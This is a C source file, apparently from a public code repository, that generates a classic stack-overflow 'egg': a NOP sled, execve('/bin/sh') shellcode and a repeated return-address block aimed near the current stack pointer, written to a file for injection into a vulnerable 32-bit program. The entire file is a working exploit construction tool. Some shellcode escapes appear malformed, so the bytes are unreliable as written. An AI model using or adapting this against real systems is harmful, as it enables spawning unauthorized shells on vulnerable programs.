Repository navigation
Expand file tree
/
Copy pathovf32.c
More file actions
98 lines (81 loc) · 2.26 KB
/
Copy pathovf32.c
File metadata and controls
98 lines (81 loc) · 2.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
/* This builds an egg consisting of three parts:
* NOP slide
* Shell code
* Address Block
*
*/
#define SHELLSZ 48
#define NOP 0x90
#define OFFSZ 800
char mkshell[] = "\x90\x90\x90\xeb\1f\x5e\89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long *get_sp(void){
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]){
char *buf, *shell;
unsigned long **addp, *addr;
unsigned long nopsz, shellsz, addsz, bsize, offset,total;
int i, fd;
if( argc != 3 && argc != 4 ){
fprintf(stderr, "Usage: <nop slide length> <address block length> [offset]\n");
exit(-1);
}
addr = get_sp(); // adress to start at can be changed to a 32 bit addess
offset = (unsigned long)OFFSZ;
errno = 0;
nopsz = strtol(argv[1], NULL, 0);
addsz = strtol(argv[2], NULL, 0);
if(argc == 4){
offset = (unsigned long)strtol(argv[3], NULL, 0);
}
if(errno != 0){
fprintf(stderr, "Usage: <nop slide length> <address block length> [offset]\n");
fprintf(stderr, " Error: Non-decimal argument\n");
exit(-1);
}
shellsz = SHELLSZ;
printf(" Egg Structure\n");
printf(" Nop slide size %lu\n", nopsz);
printf(" Shell code size %lu\n", shellsz);
printf(" Number of Address in Address Block %lu\n", addsz);
printf(" Offset %lu\n", offset);
printf(" Stack Address %p\n", (void *)addr);
addr = (unsigned long *)((unsigned long)addr - offset);
printf(" Target Adress %p\n", (void *)addr);
total = nopsz + shellsz + (addsz*4);
printf(" Total size of egg %lu\n",total);
addsz *= 4;
bsize = nopsz + shellsz + addsz;
if(!(buf = malloc(bsize+1)) ){
printf("Malloc failure\n");
exit(0);
}
shell = buf + nopsz;
for( i = 0; i < nopsz; i++){
buf[i] = NOP;
}
for(i = 0; i < shellsz; i++){
*(shell++) = mkshell[i];
}
addp = (unsigned long**)(buf+nopsz+shellsz);
while( (char *)addp < buf+bsize){
*(addp++) = addr;
}
buf[bsize] = '\0';// puts a null at the end
if((fd = open("egg",O_WRONLY|O_CREAT|O_TRUNC,0600)) < 0){
perror("egg");
exit(-1);
}
write(fd,buf,bsize+1);
return(0);
}